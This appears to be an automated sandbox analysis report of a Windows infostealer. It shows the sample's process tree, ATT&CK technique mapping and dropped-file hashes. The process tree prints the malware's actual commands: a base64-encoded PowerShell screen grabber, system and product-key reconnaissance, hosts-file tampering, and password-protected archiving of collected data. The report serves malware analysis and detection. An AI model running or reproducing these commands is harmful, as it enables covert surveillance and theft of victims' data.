    C:\Windows\system32\cmd.exe /c "powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA="
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:3472
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell.exe -NoProfile -ExecutionPolicy Bypass -EncodedCommand JABzAG8AdQByAGMAZQAgAD0AIABAACIADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtADsADQAKAHUAcwBpAG4AZwAgAFMAeQBzAHQAZQBtAC4AQwBvAGwAbABlAGMAdABpAG8AbgBzAC4ARwBlAG4AZQByAGkAYwA7AA0ACgB1AHMAaQBuAGcAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcAOwANAAoAdQBzAGkAbgBnACAAUwB5AHMAdABlAG0ALgBXAGkAbgBkAG8AdwBzAC4ARgBvAHIAbQBzADsADQAKAA0ACgBwAHUAYgBsAGkAYwAgAGMAbABhAHMAcwAgAFMAYwByAGUAZQBuAHMAaABvAHQADQAKAHsADQAKACAAIAAgACAAcAB1AGIAbABpAGMAIABzAHQAYQB0AGkAYwAgAEwAaQBzAHQAPABCAGkAdABtAGEAcAA+ACAAQwBhAHAAdAB1AHIAZQBTAGMAcgBlAGUAbgBzACgAKQANAAoAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAdgBhAHIAIAByAGUAcwB1AGwAdABzACAAPQAgAG4AZQB3ACAATABpAHMAdAA8AEIAaQB0AG0AYQBwAD4AKAApADsADQAKACAAIAAgACAAIAAgACAAIAB2AGEAcgAgAGEAbABsAFMAYwByAGUAZQBuAHMAIAA9ACAAUwBjAHIAZQBlAG4ALgBBAGwAbABTAGMAcgBlAGUAbgBzADsADQAKAA0ACgAgACAAIAAgACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAUwBjAHIAZQBlAG4AIABzAGMAcgBlAGUAbgAgAGkAbgAgAGEAbABsAFMAYwByAGUAZQBuAHMAKQANAAoAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHQAcgB5AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFIAZQBjAHQAYQBuAGcAbABlACAAYgBvAHUAbgBkAHMAIAA9ACAAcwBjAHIAZQBlAG4ALgBCAG8AdQBuAGQAcwA7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHUAcwBpAG4AZwAgACgAQgBpAHQAbQBhAHAAIABiAGkAdABtAGEAcAAgAD0AIABuAGUAdwAgAEIAaQB0AG0AYQBwACgAYgBvAHUAbgBkAHMALgBXAGkAZAB0AGgALAAgAGIAbwB1AG4AZABzAC4ASABlAGkAZwBoAHQAKQApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB1AHMAaQBuAGcAIAAoAEcAcgBhAHAAaABpAGMAcwAgAGcAcgBhAHAAaABpAGMAcwAgAD0AIABHAHIAYQBwAGgAaQBjAHMALgBGAHIAbwBtAEkAbQBhAGcAZQAoAGIAaQB0AG0AYQBwACkAKQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGcAcgBhAHAAaABpAGMAcwAuAEMAbwBwAHkARgByAG8AbQBTAGMAcgBlAGUAbgAoAG4AZQB3ACAAUABvAGkAbgB0ACgAYgBvAHUAbgBkAHMALgBMAGUAZgB0ACwAIABiAG8AdQBuAGQAcwAuAFQAbwBwACkALAAgAFAAbwBpAG4AdAAuAEUAbQBwAHQAeQAsACAAYgBvAHUAbgBkAHMALgBTAGkAegBlACkAOwANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAcgBlAHMAdQBsAHQAcwAuAEEAZABkACgAKABCAGkAdABtAGEAcAApAGIAaQB0AG0AYQBwAC4AQwBsAG8AbgBlACgAKQApADsADQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAYwBhAHQAYwBoACAAKABFAHgAYwBlAHAAdABpAG8AbgApAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAB7AA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAC8ALwAgAEgAYQBuAGQAbABlACAAYQBuAHkAIABlAHgAYwBlAHAAdABpAG8AbgBzACAAaABlAHIAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQANAAoAIAAgACAAIAAgACAAIAAgAH0ADQAKAA0ACgAgACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAByAGUAcwB1AGwAdABzADsADQAKACAAIAAgACAAfQANAAoAfQANAAoAIgBAAA0ACgANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAkAHMAbwB1AHIAYwBlACAALQBSAGUAZgBlAHIAZQBuAGMAZQBkAEEAcwBzAGUAbQBiAGwAaQBlAHMAIABTAHkAcwB0AGUAbQAuAEQAcgBhAHcAaQBuAGcALAAgAFMAeQBzAHQAZQBtAC4AVwBpAG4AZABvAHcAcwAuAEYAbwByAG0AcwANAAoADQAKACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzACAAPQAgAFsAUwBjAHIAZQBlAG4AcwBoAG8AdABdADoAOgBDAGEAcAB0AHUAcgBlAFMAYwByAGUAZQBuAHMAKAApAA0ACgANAAoADQAKAGYAbwByACAAKAAkAGkAIAA9ACAAMAA7ACAAJABpACAALQBsAHQAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQAcwAuAEMAbwB1AG4AdAA7ACAAJABpACsAKwApAHsADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0ACAAPQAgACQAcwBjAHIAZQBlAG4AcwBoAG8AdABzAFsAJABpAF0ADQAKACAAIAAgACAAJABzAGMAcgBlAGUAbgBzAGgAbwB0AC4AUwBhAHYAZQAoACIALgAvAEQAaQBzAHAAbABhAHkAIAAoACQAKAAkAGkAKwAxACkAKQAuAHAAbgBnACIAKQANAAoAIAAgACAAIAAkAHMAYwByAGUAZQBuAHMAaABvAHQALgBEAGkAcwBwAG8AcwBlACgAKQANAAoAfQA=
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:3464
    - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\craplu3u\craplu3u.cmdline"
        5⤵
        
        PID:1000
      - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
        
        C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESA212.tmp" "c:\Users\Admin\AppData\Local\Temp\craplu3u\CSC71BAB29E13FA49FC9124FDF3D7D8158.TMP"
        6⤵
        
        PID:3636
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:5420
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:2068
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib -r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4380
  - - C:\Windows\system32\attrib.exe
      attrib -r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:5720
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4588
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5380
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:244
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:5156
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "attrib +r C:\Windows\System32\drivers\etc\hosts"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4868
  - - C:\Windows\system32\attrib.exe
      attrib +r C:\Windows\System32\drivers\etc\hosts
      4⤵
      Drops file in Drivers directory
      Views/modifies file attributes
      PID:1028
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tasklist /FO LIST"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2696
  - - C:\Windows\system32\tasklist.exe
      tasklist /FO LIST
      4⤵
      Discovers running processes
      Suspicious use of AdjustPrivilegeToken
      PID:3140
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3312
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:1148
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "tree /A /F"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:2408
  - - C:\Windows\system32\tree.com
      tree /A /F
      4⤵
      PID:3552
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "getmac"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4472
  - - C:\Windows\system32\getmac.exe
      getmac
      4⤵
      PID:4968
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\_MEI58442\rar.exe a -r -hp"blank" "C:\Users\Admin\AppData\Local\Temp\tG2W9.zip" *"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4892
  - - C:\Users\Admin\AppData\Local\Temp\_MEI58442\rar.exe
      C:\Users\Admin\AppData\Local\Temp\_MEI58442\rar.exe a -r -hp"blank" "C:\Users\Admin\AppData\Local\Temp\tG2W9.zip" *
      4⤵
      Executes dropped EXE
      PID:5888
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic os get Caption"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3068
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic os get Caption
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:3576
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3636
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic computersystem get totalphysicalmemory
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:2524
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic csproduct get uuid"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4468
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic csproduct get uuid
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:4168
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4916
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      PID:1256
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:4648
  - - C:\Windows\System32\Wbem\WMIC.exe
      wmic path win32_VideoController get name
      4⤵
      Detects videocard installed
      Suspicious behavior: EnumeratesProcesses
      PID:5552
- - C:\Windows\system32\cmd.exe
    C:\Windows\system32\cmd.exe /c "powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:6004
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell Get-ItemPropertyValue -Path 'HKLM:SOFTWARE\Microsoft\Windows NT\CurrentVersion\SoftwareProtectionPlatform' -Name BackupProductKeyDefault
      4⤵
      Suspicious behavior: EnumeratesProcesses
      PID:5168

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Hide Artifacts

T1564

Hidden Files and Directories

T1564.001

Impair Defenses

T1562

Disable or Modify Tools

T1562.001

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Browser Information Discovery

T1217

Process Discovery

T1057

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Clipboard Data

T1115

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 8b6e512abe2a23f7a3a82f02261767135fbd0077aeb26aefdfb8ae7f64f3c2eb
MD5 fc8853ccf00efbb378cf36b6690367b1
SHA1 5f8e80a92a7230943d1d5e2e802caa8e4c333d6f
SHA512 c8713738f8fd45c5a210fb35688c2aef19996e3f893b6737b1f133ee33aae1dcb69863b54f5b898da551e0b2ec13f171090d93fa8082c0c52a7d436f890d2c86
TLSH
T1CA216633B3CD8625D899403A40CEAC1036B6D7DB409ECE5BAB84D548B43F589CE601A0
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d28ef187840dcd1fe0a8a757ef9cd326023bec38b39ef1338f91d508d55dcf28
MD5 acbc65123954839a819fa2495d239bf7
SHA1 063cff64444a6e3b4be1445b4cecb477e4d6ae47
SHA512 af07d3f6dcf1779bcc864aabe9e08563b20b8df8238df7bb08a5fe3b4e40d10f2e2a4442a042fe5d7a320e3b8195799ecc885549faa8babb5909eb32271e7b91
TLSH
T170216833B3DD8615CC9A413A10CDAC1036B6C7DB40DECFAB7B84E655A43F699CE61160
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 d48625c0517381999ee4d79f919db27daaa30501b7fb98ca4256e51dafc33f95
MD5 66f07c68aa6a62882c760d9178061813
SHA1 ace4fdbcc28902c11fde293b20e0ec914d472a3b
SHA512 0eede31055d8906dea68d06ef1aa354910df27623a869ba79affb70d319c0b03249557dabaf0980a9f02fe8d7748a05e53bc0a2a05ad0725319637749dec781b
TLSH
T111115733F3CC8624C89A403A50CEAC1036B587DB50DECE6BBB84D154B53F599CE61260
MD5 SHA1 SHA512 TLSH

Submit Download

VCRUNTIME140.dll

Path C:\Users\Admin\AppData\Local\Temp\_MEI58442\VCRUNTIME140.dll
Size 117KB
SHA256 36585912e5eaf83ba9fea0631534f690ccdc2d7ba91537166fe53e56c221e153
MD5 862f820c3251e4ca6fc0ac00e4092239
SHA1 ef96d84b253041b090c243594f90938e9a487a9a
SHA512 2f8a0f11bccc3a8cb99637deeda0158240df0885a230f38bb7f21257c659f05646c6b61e993f87e0877f6ba06b347ddd1fc45d5c44bc4e309ef75ed882b82e4e
SSDEEP 1536:N9TXF5LLXQLlNycKW+D4SdqJk6aN1ACuyxLiyazYaCVoecbdhgOwAd+zfZ1zu:N9jelDoD9uyxLizzFzecbdPwA87S
TLSH
T1A2C38D4572A042F7D17AD274C1A36A17FB75B94487A0A3CF03B58A650F13BE0AE3D396
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_bz2.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI58442\_bz2.pyd
Size 48KB
SHA256 dfc195ebb59dc5e365efd3853d72897b8838497e15c0977b6edb1eb347f13150
MD5 58fc4c56f7f400de210e98ccb8fdc4b2
SHA1 12cb7ec39f3af0947000295f4b50cbd6e7436554
SHA512 ad0c6a9a5ca719d244117984a06cce8e59ed122855e4595df242df18509752429389c3a44a8ba0abc817d61e37f64638ccbdffc17238d4c38d2364f0a10e6bc7
SSDEEP 768:esvzuaVl+ztlrpqKgHrzwTzjT+KyH9qtztKnb3/+u2xmFepwUIJLV1/DU5YiSyvX:huaugLzUz+lOsnb33lUIJLV1i7SyFB
TLSH
T1FA23C0E293686C18CC334E7230D84D26AB757A97855187E3328C83FD6FA13C25A572BD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_ctypes.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI58442\_ctypes.pyd
Size 62KB
SHA256 8d1a21192112e13913cb77708c105034c5f251d64517017975af8e0c4999eba3
MD5 79879c679a12fac03f472463bb8ceff7
SHA1 b530763123bd2c537313e5e41477b0adc0df3099
SHA512 ca19ddaefc9ab7c868dd82008a79ea457acd71722fec21c2371d51dcfdb99738e79eff9b1913a306dbedacb0540ca84a2ec31dc2267c7b559b6a98b390c5f3a7
SSDEEP 1536:Opx/sXWpBktLQ+ndnJZLIDdwXtRg1zk1+3XTkIJyPeB7SyFmhz:OXsXWpBgLBndJSdIgpk1+3XwIJyPeBrm
TLSH
T1B253E1B34260DC69DA335CB629E48E29E97639935AA0C3DF215D817BEF3134027611FE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_hashlib.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI58442\_hashlib.pyd
Size 35KB
SHA256 7a904fa6618157c34e24aaac33fdf84035215d82c08eec6983c165a49d785dc9
MD5 d6f123c4453230743adcc06211236bc0
SHA1 9f9ade18ac3e12bcc09757a3c4b5ee74cf5e794e
SHA512 f5575d18a51207b4e9df5bb95277d4d03e3bb950c0e7b6c3dd2288645e26e1de8edcf634311c21a6bdc8c3378a71b531f840b8262db708726d36d15cb6d02441
SSDEEP 768:yzzaDWoin9vvSwNbHyxBpnrIJvIoS5YiSyvE62Em:yzOW6wNbHCrIJvIoQ7Syc6c
TLSH
T1EEF2BF938260A425D8374DF334E44D29A632FAA7595143FF310EC26D8FB27426E962B8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_lzma.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI58442\_lzma.pyd
Size 86KB
SHA256 de342275a648207bef9b9662c9829af222b160975ad8925cc5612cd0f182414e
MD5 055eb9d91c42bb228a72bf5b7b77c0c8
SHA1 5659b4a819455cf024755a493db0952e1979a9cf
SHA512 c5cba050f4b805a299f5d04ec0dce9b718a16bc335cac17f23e96519da0b9eaaf25ae0e9b29ef3dc56603bfe8317cdc1a67ee6464d84a562cf04bea52c31cfac
SSDEEP 1536:wlkdTJ3vEbPVfwGX+zD2z4qVHCy4N491I4lSi5j68Xi4az2yhIJ01uv7SyXN:wUFvEbdfwGOnqpCb491IK/EIJ01uvj
TLSH
T19883F27B8B692445CC768D7534F8453CBB34B9239A91CBAB314842B89B767807F821EC
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_queue.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI58442\_queue.pyd
Size 26KB
SHA256 d4be41574c3e17792a25793e6f5bf171baeeb4255c08cb6a5cd7705a91e896fc
MD5 513dce65c09b3abc516687f99a6971d8
SHA1 8f744c6f79a23aa380d9e6289cb4504b0e69fe3b
SHA512 621f9670541cac5684892ec92378c46ff5e1a3d065d2e081d27277f1e83d6c60510c46cab333c6ed0ff81a25a1bdc0046c7001d14b3f885e25019f9cdd550ed0
SSDEEP 384:he8SQ/XAVUI1ZCXG5oZa7gJX28IJ9U4NVTHQIYiSy1pCQ5xX1rSJIVE8E9VF0Nyf:he8XPAVhZwvpm8IJ9U4X5YiSyvTo2Et
TLSH
T156C29E9386A05C54CC238EB230D49928FE35B98796508BCB724DC26A4FF17426EE67F5
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_socket.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI58442\_socket.pyd
Size 44KB
SHA256 a1e39e2386634069070903e2d9c2b51a42cb0d59c20b7be50ef95c89c268deb2
MD5 14392d71dfe6d6bdc3ebcdbde3c4049c
SHA1 622479981e1bbc7dd13c1a852ae6b2b2aebea4d7
SHA512 0f6359f0adc99efad5a9833f2148b066b2c4baf564ba16090e04e2b4e3a380d6aff4c9e7aeaa2ba247f020f7bd97635fcdfe4e3b11a31c9c6ea64a4142333424
SSDEEP 768:BVO07RbhED2LEIuo4OCYkbaEts+ZIQivK+F8kp9jHIJywFmk5YiSyv+2Eb:zPkD2LEIuo4E5C30d1jHIJywFmu7Sy21
TLSH
T14213C0A2C6A8D868E912DCB630D89C38EF31B5878960C3D7319DC15B4F617426F91ABD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

_sqlite3.pyd

Path C:\Users\Admin\AppData\Local\Temp\_MEI58442\_sqlite3.pyd
Size 58KB
SHA256 7d53df36ee9da2df36c2676cfaea84ee87e7e2a15ad8123f6abb48717c3bc891
MD5 8cd40257514a16060d5d882788855b55
SHA1 1fd1ed3e84869897a1fad9770faf1058ab17ccb9
SHA512 a700c3ce95ce1b3fd65a9f335c7c778643b2f7140920fe7ebf5d9be1089ba04d6c298bf28427ca774fbf412d7f9b77f45708a8a0729437f136232e72d6231c34
SSDEEP 1536:HqbxjT8JFLTgRG/dv8xxEOKI+C6IJvQl67SydP:KbFT8JZg+8xBd+XIJvQl6L
TLSH
T10243E1A38764B82CC9638E70B0E4446EFD7571579B52C6EE3618C27E8F6238069613F7
